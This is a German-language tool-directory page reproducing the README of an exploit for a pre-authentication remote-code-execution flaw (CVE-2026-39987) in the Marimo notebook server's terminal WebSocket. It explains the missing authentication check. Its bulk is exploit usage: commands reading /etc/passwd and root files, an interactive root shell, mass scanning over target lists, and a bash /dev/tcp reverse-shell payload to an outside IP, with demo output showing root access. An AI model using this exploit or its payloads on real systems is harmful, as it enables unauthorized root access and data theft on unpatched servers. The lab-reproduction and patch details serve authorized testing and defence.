Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987 — Exploit für Marimo Pre-Auth-RCE über Terminal-WebSocket, der Befehlsausführung, interaktive PTY-Shell und Reverse-Shell-Funktionen für autorisierte Penetrationstests bereitstellt. | Kitploit
Tools/GitHubGitHub/ghxstsec/cve-2026-39987
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubghxstsec/cve-2026-39987

CVE-2026-39987

Exploit für Marimo Pre-Auth-RCE über Terminal-WebSocket, der Befehlsausführung, interaktive PTY-Shell und Reverse-Shell-Funktionen für autorisierte Penetrationstests bereitstellt.

Repository anzeigen
vor 7h 24mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987 — Marimo Pre-Auth RCE über Terminal-WebSocket

root@kitploit:~
   _______    ________    ___   ____ ___   _____      _____ ____  ____  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \ / ___/     |__  // __ \/ __ \( __ )
 / /    | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __  |
/ /___  | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ / 
\____/  |___/_____/    /____/\____/____/\____/     /____//____//____/\____/  

  WebSocket Unauthenticated RCE  |  github.com/Ghxstsec/CVE-2026-39987

Python CVE CVSS Affected Fixed


Beschreibung

Marimo (19,6k ⭐) ist ein quelloffener reaktiver Python-Notebook-Server. Versionen ≤ 0.20.4 legen einen Terminal-WebSocket-Endpunkt (/terminal/ws) offen, der die Authentifizierung vollständig überspringt, selbst wenn die Authentifizierung auf dem Server aktiviert ist.

Eine einzige unauthentifizierte WebSocket-Verbindung liefert eine vollständige interaktive PTY-Shell. In Standard-Docker-Bereitstellungen werden Befehle als root ausgeführt.

Status: In 0.23.0 gepatcht — marimo-team/marimo@c24d480


Schwachstelle

Dem Endpunkt /terminal/ws fehlt der validate_auth()-Aufruf, der in jedem anderen authentifizierten Endpunkt vorhanden ist:

root@kitploit:~
# ❌ /terminal/ws — keine Auth-Prüfung (verwundbar)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    # Keine Authentifizierungsprüfung!
    await websocket.accept()   # akzeptiert direkt
    child_pid, fd = pty.fork() # startet eine PTY-Shell
root@kitploit:~
# ✅ /ws — korrekt authentifiziert
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():  # Auth wird erzwungen
        return

Marimos AuthenticationMiddleware markiert unauthentifizierte Verbindungen als UnauthenticatedUser, lehnt sie jedoch nicht ab — die Durchsetzung hängt vollständig von endpunktspezifischen Dekoratoren oder validate_auth()-Aufrufen ab. /terminal/ws hat keines von beidem.

Angriffskette

root@kitploit:~
1. Verbinde mit ws(s)://ZIEL/terminal/ws  →  kein Token erforderlich
2. websocket.accept()                     →  Verbindung wird akzeptiert
3. pty.fork()                             →  PTY-Shell wird gestartet
4. Beliebigen Befehl senden               →  beliebige RCE als root

Betroffene Versionen

SoftwareVerwundbarGepatcht
Marimo≤ 0.20.4≥ 0.23.0

Installation

root@kitploit:~
pip install -r requirements.txt

Verwendung

Einzelnes Ziel — Befehlsmodus

root@kitploit:~
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws

Benutzerdefinierter Befehl

root@kitploit:~
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"

Interaktive PTY-Shell

Direkt in eine interaktive Shell über das WebSocket einsteigen — kein Listener erforderlich:

root@kitploit:~
python3 CVE-2026-39987.py -u target.htb -i
root@kitploit:~
[+] Interaktive Shell — Befehle eingeben, Ctrl+C oder 'exit' zum Beenden

root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root

Reverse Shell

Bei Verwendung eines Reverse-Shell-Payloads den Prozess mit nohup ... & vom PTY lösen, damit er das Schließen der WebSocket-Verbindung überlebt:

root@kitploit:~
# Zuerst Listener einrichten
nc -lvnp 4444

# Dann den Payload auslösen
python3 CVE-2026-39987.py -u target.htb \
  -c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"

⚠️ Ohne nohup ... & ist der Shell-Prozess an das PTY gebunden und wird beendet, wenn das WebSocket geschlossen wird. Verwende -i für eine direkte Shell oder nohup für Reverse Shells.

Massen-Scan

root@kitploit:~
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3

Alle Optionen

root@kitploit:~
  -u URL,  --url URL          einzelne Ziel-URL oder Host
  -l LIST, --list LIST        Datei mit Zielen, eines pro Zeile
  -c CMD,  --cmd CMD          auszuführender Befehl (Standard: id && cat /root/root.txt)
  -p PATH, --path PATH        WebSocket-Endpunktpfad (Standard: /terminal/ws)
  -t SEC,  --timeout SEC      Sekunden Stille vor dem Aufgeben (Standard: 2)
  -d SEC,  --delay SEC        Verzögerung nach Verbindungsaufbau vor dem Leeren des Banners (Standard: 1)
  -i,      --interactive      interaktive PTY-Shell — hält die Verbindung offen
           --verify           SSL-Zertifikatsprüfung aktivieren (standardmäßig deaktiviert)
  -q,      --quiet            Statusmeldungen unterdrücken, nur Ausgabe

Demo

root@kitploit:~
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb

   _______    ________    ___   ____ ___   _____      _____ ____  ____  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \ / ___/     |__  // __ \/ __ \( __ )
 / /    | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __  |
/ /___  | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ / 
\____/  |___/_____/    /____/\____/____/\____/     /____//____//____/\____/  

[*] Ziel    : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Modus   : Befehl
[*] Befehl  : id && cat /root/root.txt
[*] Verbinde...
[*] Leere Banner...
[+] Sende Payload...
[+] Ausgabe:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}

Lokal reproduzieren

root@kitploit:~
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
root@kitploit:~
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718

Referenzen

  • NVD — CVE-2026-39987
  • GitHub Advisory GHSA-2679-6mx9-h9xc
  • marimo-team/marimo#9098
  • Patch — marimo-team/marimo@c24d480
  • CISA KEV
  • Sysdig Blog — Von der Offenlegung zur Ausnutzung in unter 10 Stunden

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Penetrationstests bereitgestellt.
Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Holen Sie immer die entsprechende Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.

Tool herunterladen